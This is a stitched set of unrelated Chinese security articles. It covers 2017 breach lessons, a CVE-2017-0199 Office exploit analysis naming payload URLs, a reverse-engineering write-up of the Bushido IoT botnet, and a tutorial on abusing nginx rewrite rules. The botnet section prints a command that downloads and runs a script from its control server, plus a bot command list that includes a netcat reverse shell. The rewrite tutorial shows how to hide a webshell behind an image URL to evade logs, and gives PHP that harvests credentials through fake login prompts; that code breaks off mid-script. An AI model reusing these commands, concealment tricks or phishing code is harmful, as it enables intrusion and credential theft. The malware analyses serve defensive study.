该事件中我们可以获得一个教训：企业应该主动向公众披露安全事件，不能让公众等到媒体报道新闻时才知晓相关事件。美国有线新闻网指出，在该信息泄露事件发生的6周之后，公众才广泛了解到这一起事件。这样一来，黑客就在销售和使用被窃敏感数据的方面，占据了巨大优势。
在发生信息泄露事件后，企业必须尽快做出反应，并确保受该事件影响的人员知晓这一情况。借助于此，企业、受影响的客户以及合作伙伴可以协同工作，将事件产生的后果降到最低。
## 优步：掩盖攻击事件
在2016年秋季，优步曾遭受攻击，共有5700万用户的姓名、电子邮件地址和电话号码被攻击者窃取。然而，这一事件却列入了2017年的事件清单之中，原因在于，优步在2016年并没有披露这一事件，直至公司新的首席执行官Dara
Khosrowshahi在2017年11月下旬上任后才将此事件公之于众。
更糟糕的是，在攻击发生后，优步似乎在努力掩盖攻击事件，而并不是处理攻击造成的后果。WIRED撰稿人Lily Hay
Newman调查称：优步向黑客支付了10万美元的赎金，以防止黑客向公众披露这一攻击的发生。
Newman在文章中写道：“这些行为很可能违反了美国许多州的数据泄露披露法，根据报道，优步甚至可能试图向联邦贸易委员会的调查人员隐瞒此事件。这是在数据泄露事件发生后，企业所做过的最搞笑的一种处理方式。”
针对此事件，我们得到的经验教训是：不能这么做。
## WannaCry：未修复的漏洞
除了针对于特定企业的攻击之外，2017年还有一起大规模影响了全球众多组织的事件。在一天之内，全球共有成千上万的目标受到了WannaCry的影响，其中有一些造成的影响非常重大。据WIRED报告，最有破坏性的勒索软件样本感染了英国的国家卫生服务机构，直接导致其日常工作和患者护理工作停滞，涉及到急诊室、医院和其他相关设施。
事实上，这些勒索软件大部分利用了被称为永恒之蓝（EternalBlue）的高危漏洞。该漏洞在2017年春季由影子经纪人（Shadow
Brokers）在成功攻击美国国家安全局（NSA）后披露。在攻击后，影子经纪人发布了窃取到的NSA工具，其中就包含着永恒之蓝的利用工具。
美国有线新闻网报道说，WannaCry共对150个国家的组织产生了影响。尽管在影子经纪人公开利用工具之前微软就已经发布了永恒之蓝的补丁程序，但还是有大量组织没有及时打补丁修复漏洞，从而导致了被攻陷。这一事件向我们生动展示了及时更新补丁的重要性。
CNN的撰稿人Selena Larson写道：“大量用户都被WannaCry感染，尽管微软发布了Windows系统的补丁，但还是有大多数人没有及时更新。”
## 错误的安全配置暴露了选民记录
尽管这并不是最具破坏性的事件，但我们仍可以从中学习到一个非常重要的经验教训。
在2017年春季，一位安全研究人员找到了近2亿美国选民的投票记录。这一问题最终被追溯到共享数据公司在其亚马逊云存储上所进行的安全设置存在问题。更有趣的是，CNN指出，此类事件并非只发生过这一起。
Larson说：“这是用来存储数据的亚马逊服务器未进行安全配置所导致的一系列重大信息泄露事件其中之一。默认情况下，配置项是安全的，但网络安全公司UpGuard的研究人员Chris
Vickery经常能发现有企业进行了错误的设置。”
这个事例体现了安全设置的重要性，组织必须充分了解他们正在使用的服务以及可以使用的配置项。无论任何时候，如果需要对配置项进行更改，都要进行充分的检查，确保调整这些配置后仍是安全的，并且没有未经授权用户的后门存在。
## 应对：部署多方位的强大保护
在2017年的网络攻击事件中，除了上述得到的经验之外，我们还意识到：企业必须具备多方位的保护，并始终如一地贯彻数据保护的相关原则和规定。
TechRepublic报道说，在2017年发生的绝大多数（93%）安全事件都可以通过简单的安全流程来阻止，例如及时安装补丁、阻止欺诈电子邮件、向员工进行网络钓鱼相关培训。 | 社区文章 |
# 【漏洞分析】传播银行类木马的Office 0day漏洞(CVE-2017-0199)技术分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
[**【漏洞分析】CVE-2017-0199：分析 Microsoft Office RTF
漏洞**](http://bobao.360.cn/learning/detail/3722.html)
[**【漏洞预警】传播银行类木马的Office 0day漏洞**
****](http://bobao.360.cn/news/detail/4113.html)
**
**
**漏洞概述**
**微软在4月份的例行补丁（4月12日）中对一个Office远程命令执行漏洞（CVE-2017-0199）进行了修补，但事实上在补丁发布之前已有多个利用此漏洞的攻击在野外被发现，其中包含分发银行恶意软件的案例。**
360天眼实验室也在之前得到相关的漏洞利用样本，分析确认为一个对中国做持续APT攻击的团伙的针对性攻击，这是与已知的其他安全厂商公布的不同来源的攻击，由此可见在此漏洞被修补之前已经在地下扩散到了非常大的范围。随着漏洞相关的技术细节的公开，由于漏洞影响大量的Office版本，利用此漏洞的攻击极有可能开始泛滥，需要引起高度重视。
该漏洞利用OFFICE OLE对象链接技术，将包裹的恶意链接对象嵌在文档中，OFFICE调用[URL
Moniker](https://msdn.microsoft.com/en-us/library/ms775149%28v=vs.85%29.aspx)（COM对象）将恶意链接指向的HTA文件下载到本地， [URL
Moniker](https://msdn.microsoft.com/en-us/library/ms775149%28v=vs.85%29.aspx)通过识别响应头中content-type的字段信息（图1）最后调用mshta.exe将下载到的HTA文件执行起来。
图1
利用此漏洞的通常攻击场景，用户收到一个包含恶意代码的Office文件（不限于RTF格式的Word文件，可能为PPT类的其他Office文档），点击尝试打开文件时会从外部网站下载特定的恶意HTA程序执行，从而使攻击者获取控制。
**漏洞细节**
这里基于Hash为5ebfd13250dd0408e3de594e419f9e01的样本文件对漏洞的利用细节做进一步的深入分析。
5ebfd13250dd0408e3de594e419f9e01是RTF格式的文件，内嵌的OLE对象类型被设置为OfficeDOC，嵌入形式是包裹进一个链接类型OLE对象，类型为ole2link（OLE对象中，其数据流偏移4的位置，如果为2则为包裹类型，如果是1的话则为链接类型）。链接形式的OLE对象本身不包含在文档本身中，而是位于文档之外，其中链接的对象可以在本机，也可以在远程服务器上，这是COM组件的一个特性，因为OLE本身就是COM组件的一部分。
下图为5ebfd13250dd0408e3de594e419f9e01中对象的结构信息
图2
URL Monkiler是COM对象，在RTF文件中，它的CLSID存放顺序与实际是部分颠倒的：
E0 C9 EA 79 F9 BA CE 11 8C82-00AA004BA90B （红色部分）。Office通过URL Moniker来发送远程请求，下载
<http://46.102.152.129/template.doc> ，MD5:
3c01c4d68ddcf1e4ecd1fa1ca3024c54，下载的文件是一个RTF文件，其中包含了VBS脚本（如图3）。之后URL
Moniker通过content-type识别为HTA，最后调用mshta.exe加载。mstha.exe在匹配到脚本数据之后，执行其中包含的VBS（图4），可以看到这个VBS做了一些简单的混淆。
图3
图4
**VBS脚本功能：**
1\. 执行powershell命令结束winword.exe进程
2\. 下载http://hyoeyeep.ws/sp.exe文件，写入%appdata%MicrosoftWindowsStart
MenuProgramsStartupwinword.exe，这样实现了自启动
3\. 下载http://hyoeyeep.ws/sp.doc写入%temp%document.doc
4\. 清空注册表键值Word versions 15.0 and 16.0 Resiliency子键与键值。这样winword可以正常的启动
5\. 运行%appdata%MicrosoftWindowsStart MenuProgramsStartupwinword.exe。
6\. 调用winword打开document.doc。这是个正常文件，目的当然是造成正常处理文件的假象
sp.exe（a9e0d7e94f555dc3a2db5e59e92ed778）属于Dridex家族，是网银类的后门。这里就不详细分析了。下图是VirusTotal上的扫描结果：
图5
mshta执行template.doc的过程还值得提一下：
因为下载回来的template.doc文件格式是RTF，里面嵌入了vbscript，mshta会搜索文件数据，匹配可执行的脚本。mshta先会加载mshtml.dll并调用RunHtmlApplication这个导出函数，然后在CCHtmScriptParseCtx::Execute()中匹配脚本文件的标签，获取脚本对象，如图6。0x1fa2120为某数据对象，0x68C173A0处是该类对象的类函数，如图7。我们可以看到0x678128处是RTF文件的内容，0x4910为VBS脚本开始的偏移。经过匹配之后找到脚本数据，最后调用vbscirpt.dll执行脚本。
图6
图7
**相关思考**
COM/OLE技术是微软的一大技术亮点，但为开发人员提供了很大的便利同时，其组件的丰富特性也造成了许多的安全隐患，关于OLE所造成的安全漏洞可以参考《Attacking
Interoperability: An OLE
Edition》文档。对于CVE-2017-0199来说，其绕过了Office执行脚本的安全措施，OLE机制的3个特性组合下导致了这个漏洞：
**1\. OLE link object特性，本身提供了非常灵活的数据存储和操作架构。**
**2\. URL Moniker特性，Office没有将请求对象类型与content-type做校验是导致HTA脚本执行的一个重要原因，远程请求文件根据content-type来运行对应程序，加载执行数据。**
**3\. Windows在执行HTA文件的时候，会匹配搜索数据流，直到发现有脚本数据流。**
这三个特性单个来看都不存在明显的安全隐患，都是为了尽可能实现正常功能，但是这些特性的组合造就了这个漏洞。正好应验了那句话，功能越强大组合方式越多存在安全问题的可能性就会越大。同时像CVE-2017-0199这种典型的利用Windows特性，实现攻击效果，对安全研究人员提出了新的考验，相信以后这种类型的机制组合漏洞还会出现。
**参考资料**
1.<https://msdn.microsoft.com/en-us/library/ms775149(v=vs.85).aspx>
2\. <https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html>
3\. <https://msdn.microsoft.com/en-us/library/dd942265.aspx>
**传送门**
* * *
[**【漏洞分析】CVE-2017-0199：分析 Microsoft Office RTF
漏洞**](http://bobao.360.cn/learning/detail/3722.html)
**[【漏洞预警】传播银行类木马的Office 0day漏洞](http://bobao.360.cn/news/detail/4113.html)** | 社区文章 |
# 逆向 Bushido IOT 僵尸网络
|
##### 译文声明
本文是翻译文章，文章来源：mien.in
原文地址：<http://www.mien.in/2018/09/02/reversing-bushido-iot-botnet-by-zullsec/>
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章介绍一个代号为 Bushido 的僵尸网络，这个僵尸网络既可以控制 IOT 设备发动 DDOS 攻击，也可以控制 web 服务器发动 DDOS
攻击，本文介绍该恶意软件的感染行为，也会尝试分析该恶意软件背后的作者。
感谢 MalwareMustDie
提供本次分析的初始脚本，简单来说，这些脚本的功能是从服务器下载若干可执行文件然后执行他们，针对不同平台会下载对应的可执行文件，如下：
在这篇文章里我们选择了64位的 ELF 样本进行逆向分析，其他平台的样本逻辑功能是一样的。
## 恶意样本
首先，列一下最后分析出来的该僵尸网路所有的文件
FILE HASH VALUE | FILE NAME | FUNCTION
---|---|---
4c1ff6424e1d47921a9c3822c67b6d288e67781d22ee1bc4f82fc11509bfb479 | a09rndgxtx
| botnet binary
40a9be5a72284a14939271e244a9904142c7e87e64d2b1a476b51d36c5f2de26 | a88hfdje8 |
botnet binary
f4bed53e2a0d273f00e82825607164ad20caa5f1a02e48e4b5627a819f49df8b | ab89484bdhd
| botnet binary
d12ffbef4d85806d77294377956c4ecc48ac9b8c3bddbf26a917723f80c719fb | adjde99vhc
| botnet binary
c1b12ad1eb4e64896a66dc9b4e83f0e3a7d2d4c79819b68853f0f64fd329ac83 | adjs8993bd
| botnet binary
37ac5b9aef6955a7a393d87ee656656851c313896fdeaff3b591e68ebda7a21d | agf63683gd
| botnet binary
5a8a8ea38ac8202373474e5ce535efd2302543a5aa595aa00bd3b553467ffd34 | alfkdcj9e8
| botnet binary
fd171c6b8f870bf64885cb05a5f1da3581537810652a9714a592c21889722198 | alo99edgwu
| botnet binary
9bad4e105c1701c965fd65118a14e06d222ca13eb9adb3c9e1e4fd7a80374087 | apr98dgs5c
| botnet binary
ca5bb4a794663f35c1ded854e5157e8d077624501514ecac329be7ada8e0248c | aqerd783nd
| botnet binary
7c492dde22c828fffc3067ef6aaa5d466cab76858079ce57492ce9bbfd7e449a | atyur7837s
| botnet binary
5fb8b5590b4845b31988f636a5a09b02bdbb3e730dd1f78d8f04a02013cb760d | ambvjcv9e0
| botnet binary
70d7adcd931eb49ede937b64f1653a6710fbcea891e2ab186165cff1d3429945 | 8UsA1.sh |
infection script
36f38298c5345abf9f0036890b357610078327a4a0a0e61db79fe7afb591830d | update.sh |
infection script
eabee288c9605b29f75cd23204b643cfe4d175851b7d57c3d3d73703bd0f8ec8 | ftp1.sh |
download the malware samples via ftp and install it
2544f0299a5795bf12494e2cbe09701cb024b06a0b924c91de0d35efb955a5fe | pma.php |
php botnet more on it in later section
18d6a4280adf67e2adf7a89aa11faa93a5ed6fc9d64b31063386d762b92b45d3 | pma.pl |
pearl botnet more on it in later section
## 静态分析
64位平台的二进制文件是 ambvjcv9e0 这个文件，首先，查看它的文件信息
$ file ambvjcv9e0
ambvjcv9e0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
如上，这是一个64位的elf文件，接下去我们查看 elf 头信息
readelf -h x64_ambvjcv9e0
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2s complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400194
Start of program headers: 64 (bytes into file)
Start of section headers: 120288 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 3
Size of section headers: 64 (bytes)
Number of section headers: 15
Section header string table index: 12
然后，查看 elf 文件的程序头
$ readelf -l ambvjcv9e0
Elf file type is EXEC (Executable file)
Entry point 0x400194
There are 3 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000001b50c 0x000000000001b50c R E 0x100000
LOAD 0x000000000001b510 0x000000000051b510 0x000000000051b510
0x0000000000001418 0x00000000000094a0 RW 0x100000
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x8
Section to Segment mapping:
Segment Sections...
00 .init .text .fini .rodata .eh_frame
01 .ctors .dtors .jcr .data .bss
02
如上，没有 dynamic section 和 INTERP section, 接下去我们查看详细的 section 表
$ readelf -S ambvjcv9e0
There are 15 section headers, starting at offset 0x1d5e0:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .init PROGBITS 00000000004000e8 000000e8
0000000000000013 0000000000000000 AX 0 0 1
[ 2] .text PROGBITS 0000000000400100 00000100
0000000000015138 0000000000000000 AX 0 0 16
[ 3] .fini PROGBITS 0000000000415238 00015238
000000000000000e 0000000000000000 AX 0 0 1
[ 4] .rodata PROGBITS 0000000000415260 00015260
00000000000062a6 0000000000000000 A 0 0 32
[ 5] .eh_frame PROGBITS 000000000041b508 0001b508
0000000000000004 0000000000000000 A 0 0 4
[ 6] .ctors PROGBITS 000000000051b510 0001b510
0000000000000010 0000000000000000 WA 0 0 8
[ 7] .dtors PROGBITS 000000000051b520 0001b520
0000000000000010 0000000000000000 WA 0 0 8
[ 8] .jcr PROGBITS 000000000051b530 0001b530
0000000000000008 0000000000000000 WA 0 0 8
[ 9] .data PROGBITS 000000000051b540 0001b540
00000000000013e8 0000000000000000 WA 0 0 32
[10] .bss NOBITS 000000000051c940 0001c928
0000000000008070 0000000000000000 WA 0 0 32
[11] .comment PROGBITS 0000000000000000 0001c928
0000000000000c4e 0000000000000000 0 0 1
[12] .shstrtab STRTAB 0000000000000000 0001d576
0000000000000066 0000000000000000 0 0 1
[13] .symtab SYMTAB 0000000000000000 0001d9a0
0000000000005418 0000000000000018 14 290 8
[14] .strtab STRTAB 0000000000000000 00022db8
00000000000029a2 0000000000000000 0 0 1
如上，这个elf文件是静态链接的，而且没有消除符号，所以我们可以用 readelf 读取符号表
$ readelf -s ambvjcv9e0
318: 000000000040bc46 485 FUNC GLOBAL DEFAULT 2 popen
319: 0000000000407ca5 177 FUNC GLOBAL DEFAULT 2 botkill
320: 0000000000411484 351 FUNC GLOBAL DEFAULT 2 sysconf
322: 000000000040b7d8 15 FUNC GLOBAL DEFAULT 2 vsprintf
323: 0000000000410ab4 72 FUNC GLOBAL DEFAULT 2 random
324: 0000000000411ad0 19 FUNC GLOBAL HIDDEN 2 __GI_getpagesize
325: 000000000040dd60 54 FUNC GLOBAL HIDDEN 2 __GI_strdup
326: 000000000040b43c 35 FUNC GLOBAL DEFAULT 2 getdtablesize
328: 0000000000405c17 33 FUNC GLOBAL DEFAULT 2 contains_fail
329: 000000000040037f 286 FUNC GLOBAL DEFAULT 2 Send
330: 0000000000414c50 19 FUNC GLOBAL HIDDEN 2 __length_question
332: 000000000040877a 1608 FUNC GLOBAL DEFAULT 2 hackpkg
333: 00000000004130c4 115 FUNC GLOBAL DEFAULT 2 setservent
334: 000000000040dce8 48 FUNC GLOBAL HIDDEN 2 __GI_strcasecmp
335: 0000000000411cd0 30 FUNC GLOBAL HIDDEN 2 __GI_tolower
336: 000000000040d3a8 192 FUNC GLOBAL DEFAULT 2 putc_unlocked
337: 000000000040fad4 11 FUNC WEAK DEFAULT 2 recv
338: 000000000040fa48 43 FUNC WEAK DEFAULT 2 connect
339: 0000000000414c00 80 FUNC GLOBAL HIDDEN 2 __encode_question
340: 00000000004115e4 70 FUNC GLOBAL HIDDEN 2 __GI___uClibc_fini
342: 0000000000414ab8 163 FUNC GLOBAL HIDDEN 2 __encode_header
343: 0000000000413234 233 FUNC GLOBAL DEFAULT 2 getservbyname_r
344: 0000000000414a40 119 FUNC GLOBAL HIDDEN 2 __GI_strncat
345: 000000000041162a 3 FUNC WEAK DEFAULT 2 __pthread_mutex_lock
346: 000000000040fc98 30 FUNC GLOBAL DEFAULT 2 __sigdelset
下面我们读取以 ‘.c’ 结束的符号
$ readelf -s x64_ambvjcv9e0 | grep -F .c
16: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
26: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
32: 0000000000000000 0 FILE LOCAL DEFAULT ABS initfini.c
35: 0000000000000000 0 FILE LOCAL DEFAULT ABS Bushido-IRC.c
50: 0000000000000000 0 FILE LOCAL DEFAULT ABS __syscall_fcntl.c
51: 0000000000000000 0 FILE LOCAL DEFAULT ABS _exit.c
52: 0000000000000000 0 FILE LOCAL DEFAULT ABS close.c
53: 0000000000000000 0 FILE LOCAL DEFAULT ABS fork.c
54: 0000000000000000 0 FILE LOCAL DEFAULT ABS getdtablesize.c
55: 0000000000000000 0 FILE LOCAL DEFAULT ABS getpid.c
56: 0000000000000000 0 FILE LOCAL DEFAULT ABS getppid.c
57: 0000000000000000 0 FILE LOCAL DEFAULT ABS getrlimit.c
58: 0000000000000000 0 FILE LOCAL DEFAULT ABS ioctl.c
59: 0000000000000000 0 FILE LOCAL DEFAULT ABS kill.c
发现了一个有趣的文件 Bushido-IRC.c（本僵尸网络名字的来源），更有意思的是，接下去我发现不需要用反编译的手段，直接用 strings
工具就可以发现该恶意样本的很多有用信息
$ strings ambvjcv9e0
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://80.93.187.211/update.sh -O update.sh; busybox wget http://80.93.187.211/update.sh -O update.sh; ftpget
-v -u anonymous -p anonymous -P 21 80.93.187.211 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 80.93.187.211 update.sh update.sh; chmod 777 upd
ate.sh; ./update.sh; rm -rf update.sh
mirai.*
dlr.*mips
mips64
mipsel
sh2eb
sh2elf
armv5
armv4tl
armv4
armv6
i686
powerpc
通过浏览 strings 输出我发现了该样本的有趣信息：
1. CNC 服务器的 IP 地址
2. telnet 服务的账号和密码
3. 若干 HTTP headers 相关的字符串
4. 若干 user agent 相关的字符串
5. 大量种族主义的言论
6. 大量IRC命令和相关字符串
7. 恶意软件使用说明
8. 恶意软件更新命令和大量其他命令
9. 错误处理相关的字符串
10. libc 库函数名
11. nmap 扫描命令
12. 编译脚本的名字
通过上述字符串可以大概判断本恶意软件的功能，但是为了搞清楚其工作流程，以及如何与 CNC 服务器连接，我们需要深入分析，由于我们已经知道了 ip
地址，我们可以直接对 CNC 服务器做端口扫描
## 扫描服务器
从可执行文件里得到CNC服务器ip地址后，很自然而然就会进行端口扫描，通过扫描我得到以下结果
1，服务器A(ip 80.93.187.211)
21/tcp open ftp
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 b3:ae:e9:79:22:65:37:15:13:66:c8:8f:0a:81:13:ec (DSA)
|_ 2048 32:e9:e2:9f:9b:ae:13:e6:99:7a:60:91:9c:38:30:8d (RSA)
80/tcp open http Apache httpd 2.2.15 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.15 (CentOS)
|_http-title: Apache HTTP Server Test Page powered by CentOS
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
443/tcp open https?
445/tcp filtered microsoft-ds
3306/tcp open mysql MySQL (unauthorized)
6667/tcp open irc UnrealIRCd
| irc-info:
| users: 57
| servers: 1
| chans: 3
| lusers: 57
| lservers: 0
| server: irc.NulL
| version: Unreal3.2.10.6. irc.NulL
| source ident: nmap
| source host: 19A967F7.1F3B5440.6D396E3B.IP
|_ error: Closing Link: kksqfgqca[114.143.107.254] (Client has disconnected from ZullSec)
根据扫描结果可以得到下面的结论：
1. 这是基于 IRC 的 CNC 服务器
2. ftp 服务可能可以使用：进一步地，我使用默认ftp账号和密码（anonymous）成功登录了该ftp服务，登录了ftp服务之后，就可以得到我们前面提到的所有文件，在其中一个脚本文件 8UsA1.sh 里，我们发现它还连接了另外一个ip地址： 185.244.25.217
2， 服务器B(ip 185.244.25.217)
这个ip是从文件 8UsA1.sh 里发现的，对它进行 nmap 端口扫描，可惜没发现啥有意思的东西，它只开放了一个 HTTP 服务
80/tcp open http
443/tcp open https
Running: Linux 2.6.X
OS details: Linux 2.6.18 - 2.6.22
## CNC服务器
从上述分析我得出结论，这个恶意样本是通过服务器A基于 IRC 控制的僵尸网络，使用IRC客户端链接CNC服务器后可以发现有两个频道
1. pma – 恶意脚本感染了web服务器后会通过 IRC 加入 CNC 服务器的这个频道
2. zull – 恶意二进制感染了iot设备后通过 IRC 加入 CNC 服务器的这个频道
### IRC服务器
经过分析，恶意终端连接 IRC 服务的命令格式如 “NICK[ZULL|x86_64]ZM5z”， 这个命令表示恶意样本 NICK[] 加入 IRC 频道
#zull, 使用的密码是写死在可执行文件里的，如下
## 恶意终端的功能
通过分析可以知道恶意样本具备以下能力：
1. DDOS 攻击，这是主要功能，集成了多种 DDOS 攻击，如 ICMP flood, TCP/UDP flood
2. 恶意终端可以被 CNC 远程关闭，这个关闭恶意终端的命令的密码是： “FreakIsYourGod!!!”,也是写死在二进制里的，如下
1. 恶意终端可以从服务器下载新的可执行文件，也可以下载源码然后自己编译出可执行文件
2. 恶意终端可以跳转到新的服务器，如果当前服务器失能
逆向分析发现恶意终端二进制文件存在一个结构体数组，该结构体第一个元素是一个字符串（命令的名称），第二个元素是一个函数指针（命令的实现函数），这个数组就是指令列表，如下：
小结一下，恶意终端包括运行在 IOT 设备上的可执行文件和运行在web服务器上的脚本，这些恶意终端会连接 IRC 服务器对应的频道，iot
设备的恶意终端连接 #zull 频道，web 服务器的恶意终端连接 #pma 频道，然后等待 IRC 服务器下发指令，这些指令整理如下：
### 恶意可执行文件拥有的指令
* Non-root/non-spoof DDoS commands commands :
* STD: A non spoof HIV STD flooder
* HOLD: A vanilla TCP connect flooder
* JUNK: A vanilla TCP flooder (modded)
* UNKNOWN<port, 0 for random> <packet size, 0 for random>: An advanced non spoof UDP flooder modified by Freak
* HTTP: An extremely powerful HTTP flooder
* Spoof/root commands :
* UDP: A UDP flooder
* PAN: An advanced syn flooder that will kill most network drivers
* TCP: An advanced TCP flooder with multithreading. Will kill almost any service.
* PHATWONK<flags/method>: A leet flooder coded by Freak, attacks 31 ports. Can set flags or attack method.
* BLACKNURSE: An ICMP packet flooder that will crash most firewalls and use loads of CPU.
* Other commands :
* RNDNICK : Randomizes the knights nick
* NICK: Changes the nick of the client
* SERVER: Changes servers
* GETSPOOFS : Gets the current spoofing
* SPOOFS: Changes spoofing to a subnet
* DISABLE : Disables all packeting from this client
* ENABLE : Enables all packeting from this client
* KILL : Kills the knight
* DNS2IP
* GET: Downloads a file off the web and saves it onto the hd
* UPDATE<src:bin> : Update this bot
* HACKPKG: HackPkg is here! Install a bin, using http, no depends!
* VERSION : Requests version of client
* KILLALL : Kills all current packeting
* HELP : Displays this
* IRC: Sends this command to the server
* SH: Executes a command
* ISH: SH, interactive, sends to channel
* SHD: Executes a psuedo-daemonized command
* GETBB: Get a proper busybox
* INSTALL <http server/file_name> : Download & install a binary to /var/bin
* BASH: Execute commands using bash.
* BINUPDATE http:server/package : Update a binary in /var/bin via wget
* SCAN: Call the nmap wrapper script and scan with your opts.
* RSHELL: Equates to nohup nc ip port -e /bin/sh
* LOCKUP http:server : Kill telnet, d/l aes backdoor from, run that instead.
* GETSSH http:server/dropbearmulti : D/l, install, configure and start dropbear on port 30022.
### 恶意脚本拥有的指令
* mail [to] [from] [subject] [message]
* dns [host]
* rndnick
* raw [irc] [data]
* uname
* eval [php] [code]
* exec [command] [args]
* cmd [command] [args]
* udpflood [ip] [port] [time] [packet] [size]
* tcpconn [host] [port] [time]
* slowread [host] [port] [page] [sockets] [time]
* slowloris [host] [time]
* l7 method [host] [time]
* post [host] time
* head [host] [time]
* tcpflood [host] [port] [time]
* httpflood [host] [port] [time] [method] [url]
* proxyhttpflood [targetUrl(with http://)] [proxyListUrl] [time] [method]
* cloudflareflood [host] [port] [time] [method] [url] [postFields]
* ud.server [host] [port] [pass] [chan]
## 恶意样本背后的人
当我们连接上 IRC 服务器的时候会发现如下信息：
我在 twitter 上搜索以上关键字，结果发现了两个账号
1. [m4licious](https://twitter.com/m4licious_0sec)
2. [M1rOx](https://twitter.com/M1r0x__)
这些账号属于某个称为 Offsecurity 的组织，我猜测他们试图将这个僵尸网络出售，通过一点谷歌搜索我发现了更多信息：
1. [Twitter](https://twitter.com/zullsec)
2. [facebook](https://www.facebook.com/ZullSec)
3. [youtube](https://www.youtube.com/watch?v=l2m-i0pmC9w)
## 结论
这个恶意软件并没有新奇的行为，我猜测它是根据开源工具 Mirai 改的，他们通过控制web服务器和 iot 设备发动 DDOS 攻击，并通过 IRC
服务器控制所以恶意终端。 | 社区文章 |
> Author:Evi1cg
> <https://evi1cg.me/archives/hack_with_rewrite.html>
## 0x00 简介
大家都知道apache，nginx等有rewrite的功能，通过rewrite规则可以把输入的URL转换成另一个URL，这是我们常见的一种需求，可以让我们的url变得更加简洁。但是其实这个功能也可被用于一些别的目的。下面就简单的介绍一下。
## 0x01 后门
关于通过配置文件做后门已经有很多文章有了介绍，即[.htaccess](http://man.chinaunix.net/newsoft/ApacheManual/howto/htaccess.html)和[.user.ini](http://php.net/manual/zh/configuration.file.per-user.php)文件构造后门，关于.htaccess后门可以看[这里](http://www.hackdig.com/02/hack-18445.htm),user.ini后门P牛也发过一篇文章，可以看[这里](http://www.vuln.cn/6001),当然还有柠檬师傅的[php.ini构成的后门](http://www.cnblogs.com/iamstudy/articles/php_ini_backdoor.html)。那么跟rewrite有什么关系呢。其实rewrite主要是为了
**逃避日志审查**
，通过rewrite，我们可以通过访问一个图片后缀的文件来执行我们的webshell，但是修改这些配置文件`需要一定的权限`。下面来进行一下简单的介绍。测试的时候主要是使用nginx,所以对nginx进行一下介绍，关于apache的配置有兴趣可以自己去查一波。下面是我的配置：
ngingx.conf
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
include /usr/local/nginx/vhosts/*.conf;
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
配置了多个域名的配置，所以针对某个域名的配置文件在vhosts里面，要配置的域名的配置文件：mydomain.conf
server {
listen 80;
server_name mydomain.com;
root /www/mydomain;
index index.html index.php;
if ( $query_string ~* ".*[\;'\<\>].*" ){
return 404;
}
location ~ .*\.(gif|jpg|jpeg|bmp|png|swf|flv|ico)$ {
expires 30d;
}
location ~ .*\.(js|css)?$ {
expires 7d;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
#设置PATH_INFO并改写SCRIPT_FILENAME,SCRIPT_NAME服务器环境变量
set $fastcgi_script_name2 $fastcgi_script_name;
if ($fastcgi_script_name ~ "^(.+\.php)(/.+)$") {
set $fastcgi_script_name2 $1;
set $path_info $2;
}
fastcgi_param PATH_INFO $path_info;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name2;
fastcgi_param SCRIPT_NAME $fastcgi_script_name2;
}
}
要配置重定向很简单，只需要加入
location ~ \.png$ {
rewrite ^/img/test\.png$ /img/test.php last;
}
意思是匹配以png结尾的url，如果匹配到 img/test.png，则重定向到
img/test.php，所以，只需要在img目录下存放test.php，我们就可以通过访问
<http://domain.com/img/test.png> 来访问。如下图:
关于更多匹配的规则，可以看[这篇文章](http://seanlook.com/2015/05/17/nginx-location-rewrite/)。
> 配置完需要重启nginx服务。
## 0x02 基础认证钓鱼
关于基础认证钓鱼，其实很早之前就已经有文章介绍过了，比如[如何制作基础认证钓鱼页面](http://www.freebuf.com/articles/web/147207.html)。其实原理就是在页面中插入一个php的img，即:
<img src="http://site.com/1.php"alt="Could not load image - Invalid credentils."/>>
php的代码就是401的验证，当用户打开这个页面的时候，由于请求了<http://site.com/1.php>
，所以会弹出验证的页面，用户输入账号密码之后，密码则会被攻击者记录。
> 注：这种方法适用于Firefox和IE浏览器，Chrome并不会弹出基础认证窗口。
为了让此攻击达到更好地隐蔽效果，我们可以使用rewrite来重写url。则使得访问的链接文件后缀为一个图片。为了达到更好地攻击效果，写了以下php代码：
<?php
$now = new DateTime();
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : "";
if ($user && $pass){
$fp = fopen("count.txt", "a");
$content = fread($fp);
$ip = $_SERVER["REMOTE_ADDR"];
$all = file_get_contents("count.txt");
fwrite($fp, $now->format("Y-m-d H:i:s") . "\t" . $ip . "\t" . $user . ":" . $pass . "\n");
